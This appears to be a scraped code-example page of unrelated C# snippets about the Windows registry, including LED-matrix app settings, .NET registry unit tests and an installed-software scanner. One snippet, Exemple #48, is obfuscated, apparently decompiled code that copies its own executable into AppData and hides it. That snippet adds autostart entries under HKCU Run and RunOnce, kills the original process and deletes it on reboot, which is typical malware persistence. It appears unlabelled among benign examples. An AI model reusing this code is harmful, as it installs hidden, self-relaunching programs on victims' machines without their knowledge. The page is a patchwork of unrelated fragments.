        entry_winamp_port.Text = winamp.winamp_port.ToString();
        entry_winamp_pass.Text = winamp.winamp_pass;
        entry_mpd.Text = (string)softwareKey.GetValue("mpd_address","localhost");

        entry_address.Text = led_matrix_address;
        led_matrix.scroll_speed = (int)softwareKey.GetValue("scroll_speed",10);
        hscale_shift_speed.Value = led_matrix.scroll_speed;
        //entry_static_text.Text = (string)softwareKey.GetValue("static_text")
    }
        private static IEnumerator<string> GetProvidersFromRegistry(RegistryKey registryKey, string p) {
            RegistryKey key;
            try {
                key = registryKey.OpenSubKey(p, RegistryKeyPermissionCheck.ReadSubTree, RegistryRights.ReadKey);
            } catch {
                yield break;
            }

            if (key == null) {
                yield break;
            }

            foreach (var name in key.GetValueNames()) {
                yield return key.GetValue(name).ToString();
            }
        }
Exemple #44
0
        private void Populate(ListViewItem lvi, RegistryKey rule, bool inherited = false)
        {
            if (!inherited)
            {
                lvi.Tag = rule;
            }
            else
            {
                lvi.Tag = new InheritedVariableContainer()
                {
                    Value = rule
                };

                lvi.ForeColor = Color.Gray;
            }

            int i = 0;
            this.PopulateListViewItem(lvi, i++, rule.Name);
        }
Exemple #45
0
        private void Add(RegistryKey rule)
        {
            this.collection.Add(rule);

            this.Items = this.Items;
        }
 public WindowsFormsRegistryService()
 {
     this.hkcu = new RegistryKey(Microsoft.Win32.Registry.CurrentUser);
 }
Exemple #47
0
 public void BaseKeyName_ExpectedName(RegistryKey baseKey, string expectedName)
 {
     Assert.Equal(expectedName, baseKey.Name);
 }
Exemple #48
0
 public void method_1()
 {
     this.method_7();
     string text = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData);
     string string_ = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
     string text2 = Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()));
     string text3 = Delegate124.smethod_0("/F /IM ", text2);
     string object_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe");
     this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
     this.registryKey_1 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Keys"));
     if (this.registryKey_1 == null)
     {
         Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"), "", "", RegistryValueKind.String);
     }
     if (this.registryKey_0 == null)
     {
         Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Files"), "", "", RegistryValueKind.String);
     }
     Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", this.string_3, object_, RegistryValueKind.String);
     Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Delegate124.smethod_0("*", this.string_3), object_, RegistryValueKind.String);
     Delegate128.smethod_0(string_, FileAttributes.Hidden);
     if (Delegate129.smethod_0(text) && !Delegate129.smethod_1(object_))
     {
         Delegate104.smethod_0(10000);
         try
         {
             Delegate130.smethod_0(string_, object_);
             ProcessStartInfo processStartInfo = Delegate21.smethod_0();
             Delegate131.smethod_0(processStartInfo, object_);
             ProcessStartInfo processStartInfo2 = Delegate21.smethod_0();
             Delegate132.smethod_0(processStartInfo2, false);
             Delegate132.smethod_1(processStartInfo2, true);
             Delegate131.smethod_0(processStartInfo2, "taskkill");
             Delegate131.smethod_1(processStartInfo2, text3);
             Delegate133.smethod_0(processStartInfo);
             GClass0.MoveFileEx(string_, null, 4);
             Delegate133.smethod_0(processStartInfo2);
         }
         catch (Exception)
         {
         }
     }
 }
Exemple #49
0
 public string[] method_20()
 {
     this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
     return Delegate182.smethod_0(this.registryKey_0);
 }
Exemple #50
0
    private void load_config()
    {
        int i;

        rootKey = Microsoft.Win32.Registry.CurrentUser;
        softwareKey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix\lines");
        i=0;
        foreach(string key in softwareKey.GetSubKeyNames())
        {
            string name,code,rss;
            bool active,loop;
            int num, time;
            RegistryKey tempkey;
            tempkey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix\lines\"+key);

            num = (int)tempkey.GetValue("num",0);
            time = (int)tempkey.GetValue("time",0);
            loop = (string)tempkey.GetValue("loop","True") == "True";
            name = (string)tempkey.GetValue("name","");
            code = (string)tempkey.GetValue("code","");
            rss = (string)tempkey.GetValue("rss","");
            active = (string)tempkey.GetValue("active","True") == "True";
            user_lines.Add(new userLine(name,active,code,rss,num,loop,time));
            Console.WriteLine(key);
            i++;
        }
        if(i==0)
        {
            user_lines.Add(new userLine("Spiegel.de",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://www.spiegel.de/index.rss",i++,true,10));
            user_lines.Add(new userLine("kicker.de",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://rss.kicker.de/live/bundesliga",i++,true,10));
            user_lines.Add(new userLine("Uhrzeit",true,"%2%+%+%c%r%h:%m:%s"
                ,"",i++,true,10));
            user_lines.Add(new userLine("Wetter",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://wetter.bjoern-b.de/daten.xml",i++,true,10));
            user_lines.Add(new userLine("Musik+Uhr",false,"%c%r%h:%m:%s%n%-%g%a %o- %g%t"
                ,"http://wetter.bjoern-b.de/daten.xml",i++,true,10));
            user_lines.Add(new userLine("Musik",false,"%r%a %o- %g%t"
                ,"http://wetter.bjoern-b.de/daten.xml",i++,true,10));
            user_lines.Add(new userLine("Weihnachten",false,"%+%+%g%2%T%1%c%+%-%-%-%-%rFrohe%2      %g%+%+%+%T%n%r%1%c%-%-%-%-Weihnachten"
                ,"",i++,false,10));

        }
        user_lines.Sort();
    }
Exemple #51
0
 protected RegKey(RegistryKey rkey)
 {
     TheKey = rkey;
 }
 public static void GetDefaultValueFromDifferentKeys(RegistryKey key, string valueName)
 {
     valueName = null;
     try
     {
         if (key.IsDefaultValueSet())
         {
             Registry.GetValue(key.Name, valueName, null);
         }
         else
         {
             Assert.Equal(TestData.DefaultValue, Registry.GetValue(key.Name, valueName, TestData.DefaultValue));
         }
     }
     catch (IOException) { }
 }
Exemple #53
0
    private bool treemode_foreach_func(Gtk.TreeModel model, Gtk.TreePath path,
		Gtk.TreeIter iter)
    {
        userLine line = (userLine)model.GetValue(iter,0);
        softwareKey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix\lines\"+line.m_name);
        softwareKey.SetValue("name",line.m_name);
        softwareKey.SetValue("code",line.m_code);
        softwareKey.SetValue("active",line.m_active);
        softwareKey.SetValue("rss",line.m_rss_url);
        softwareKey.SetValue("loop",line.m_loop);
        softwareKey.SetValue("time",line.m_time);
        softwareKey.SetValue("num",line.m_number);
        return false; // run loop further
    }
Exemple #54
0
    private void loadConfig()
    {
        int i;

        rootKey = Microsoft.Win32.Registry.CurrentUser;
        softwareKey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix\lines");
        i=0;
        foreach(string key in softwareKey.GetSubKeyNames())
        {
            string name,code,rss;
            bool active,loop;
            int num, time;
            RegistryKey tempkey;
            tempkey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix\lines\"+key);

            num = (int)tempkey.GetValue("num",0);
            time = (int)tempkey.GetValue("time",0);
            loop = (string)tempkey.GetValue("loop","True") == "True";
            name = (string)tempkey.GetValue("name","");
            code = (string)tempkey.GetValue("code","");
            rss = (string)tempkey.GetValue("rss","");
            active = (string)tempkey.GetValue("active","True") == "True";
            user_lines.Add(new userLine(name,active,code,rss,num,loop,time));
            Console.WriteLine(key);
            i++;
        }
        if(i==0)
        {
            user_lines.Add(new userLine("Spiegel.de",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://www.spiegel.de/index.rss",user_lines.Count+1,true,10));
            user_lines.Add(new userLine("kicker.de",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://rss.kicker.de/live/bundesliga",user_lines.Count+1,true,10));
            user_lines.Add(new userLine("Uhrzeit",true,"%2%+%+%c%r%h:%m:%s"
                ,"",user_lines.Count+1,true,10));
            user_lines.Add(new userLine("Wetter",false,"%c%r%8%h:%m:%s%n%g%-%R"
                ,"http://wetter.bjoern-b.de/daten.xml",user_lines.Count+1,true,10));
            user_lines.Add(new userLine("Weihnachten",false,"%+%+%g%2%T%1%c%+%-%-%-%-%rFrohe%2      %g%+%+%+%T%n%r%1%c%-%-%-%-Weihnachten"
                ,"",user_lines.Count+1,false,10));

        }
        user_lines.Sort();
        softwareKey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix");

        led_matrix_address = (string)softwareKey.GetValue("ip_address","192.168.0.222");
        led_matrix.setAddress(led_matrix_address);

        winamp.winamp_address = (string)softwareKey.GetValue("winamp_address","localhost");
        winamp.winamp_port = (int)softwareKey.GetValue("winamp_port",4800);
        winamp.winamp_pass = (string)softwareKey.GetValue("winamp_pass","pass");
        entry_winamp_address.Text = winamp.winamp_address;
        entry_winamp_port.Text = winamp.winamp_port.ToString();
        entry_winamp_pass.Text = winamp.winamp_pass;

        entry_address.Text = led_matrix_address;
        led_matrix.scroll_speed = (int)softwareKey.GetValue("scroll_speed",10);
        hscale_shift_speed.Value = led_matrix.scroll_speed;
        //entry_static_text.Text = (string)softwareKey.GetValue("static_text")
    }
 public static void GetDefaultValueFromDifferentKeys(RegistryKey key, string valueName, bool useSeparator)
 {
     // We ignore valueName because we test against default value
     valueName = null;
     try
     {
         // keyName should be case insensitive so we mix casing
         string keyName = MixUpperAndLowerCase(key.Name) + (useSeparator ? "\\" : "");
         if (key.IsDefaultValueSet())
         {
             Registry.GetValue(keyName, valueName, null);
         }
         else
         {
             Assert.Equal(TestData.DefaultValue, Registry.GetValue(keyName, valueName, TestData.DefaultValue));
         }
     }
     catch (IOException) { }
 }
 private string GetRegistryValue(RegistryKey regKey, string property)
 {
     if (regKey != null)
     {
         if (regKey.GetValue(property) == null) return "";
         return regKey.GetValue(property).ToString();
     }
     return "";
 }
 private static bool ReadBoolFromXmlRegistrySettings(RegistryKey hive, string regValueName, ref bool value) {
     const string regValuePath = @"SOFTWARE\Microsoft\.NETFramework\XML";
     try {
         using (RegistryKey xmlRegKey = hive.OpenSubKey(regValuePath, false)) {
             if (xmlRegKey != null) {
                 if (xmlRegKey.GetValueKind(regValueName) == RegistryValueKind.DWord) {
                     value = ((int)xmlRegKey.GetValue(regValueName)) == 1;
                     return true;
                 }
             }
         }
     }
     catch { /* use the default if we couldn't read the key */ }
     return false;
 }
Exemple #58
0
        private void Populate(RegistryKey rule, bool inherited = false)
        {
            var lvi = new ListViewItem();

            this.Populate(lvi, rule, inherited);

            if (!inherited && !this.uniqueKeyNames.Contains(rule.Name))
            {
                this.uniqueKeyNames.Add(rule.Name);
            }
            else if (inherited && this.uniqueKeyNames.Contains(rule.Name))
            {
                lvi = null;
            }

            if (lvi != null)
            {
                this.listView2.Items.Add(lvi);
            }
        }
Exemple #59
0
 /// <summary>
 /// 
 /// </summary>
 /// <param name="hklm"></param>
 /// <param name="key"></param>
 /// <param name="name"></param>
 /// <param name="value"></param>
 public static void SetREGSZRegKey(RegistryKey hklm, string key, string name, string value)
 {
   try
   {
     using (RegistryKey subkey = hklm.CreateSubKey(key))
     {
       if (subkey != null)
       {
         subkey.SetValue(name, value);
       }
     }
   }
   catch (SecurityException)
   {
     Log.Error(@"User does not have sufficient rights to modify registry key HKLM\{0}", key);
   }
   catch (UnauthorizedAccessException)
   {
     Log.Error(@"User does not have sufficient rights to modify registry key HKLM\{0}", key);
   }
 }
Exemple #60
0
        private bool YieldPackages(string hive, RegistryKey regkey, string name,string requiredVersion, string minimumVersion, string maximumVersion, Request request) {
            if (regkey != null) {
                var includeWindowsInstaller = request.GetOptionValue("IncludeWindowsInstaller").IsTrue();
                var includeSystemComponent = request.GetOptionValue("IncludeSystemComponent").IsTrue();

                foreach (var key in regkey.GetSubKeyNames()) {
                    var subkey = regkey.OpenSubKey(key);
                    if (subkey != null) {
                        var properties = subkey.GetValueNames().ToDictionaryNicely(each => each.ToString(), each => (subkey.GetValue(each) ?? string.Empty).ToString(), StringComparer.OrdinalIgnoreCase);

                        if (!includeWindowsInstaller && properties.ContainsKey("WindowsInstaller") && properties["WindowsInstaller"] == "1") {
                            continue;
                        }

                        if (!includeSystemComponent && properties.ContainsKey("SystemComponent") && properties["SystemComponent"] == "1") {
                            continue;
                        }

                        var productName = "";

                        if (!properties.TryGetValue("DisplayName", out productName)) {
                            // no product name?
                            continue;
                        }

                        if (string.IsNullOrWhiteSpace(name) || productName.IndexOf(name, StringComparison.OrdinalIgnoreCase) > -1) {
                            var productVersion = properties.Get("DisplayVersion") ?? "";
                            var publisher = properties.Get("Publisher") ?? "";
                            var uninstallString = properties.Get("QuietUninstallString") ?? properties.Get("UninstallString") ?? "";
                            var comments = properties.Get("Comments") ?? "";

                            var fp = hive + @"\" + subkey;

                            if (!string.IsNullOrEmpty(requiredVersion)) {
                                if (SoftwareIdentityVersionComparer.CompareVersions("unknown", requiredVersion, productVersion) != 0) {
                                    continue;
                                }
                            } else {
                                if (!string.IsNullOrEmpty(minimumVersion) && SoftwareIdentityVersionComparer.CompareVersions("unknown", productVersion, minimumVersion) < 0) {
                                    continue;
                                }
                                if (!string.IsNullOrEmpty(maximumVersion) && SoftwareIdentityVersionComparer.CompareVersions("unknown", productVersion, maximumVersion) > 0) {
                                    continue;
                                }
                            }

                            if (request.YieldSoftwareIdentity(fp, productName, productVersion, "unknown", comments, "", name, "", "") != null) {
                                if (properties.Keys.Where(each => !string.IsNullOrWhiteSpace(each)).Any(k => request.AddMetadata(fp, k.MakeSafeFileName(), properties[k]) == null)) {
                                    return false;
                                }
                            }
                        }
                    }
                }
            }
            return true;
        }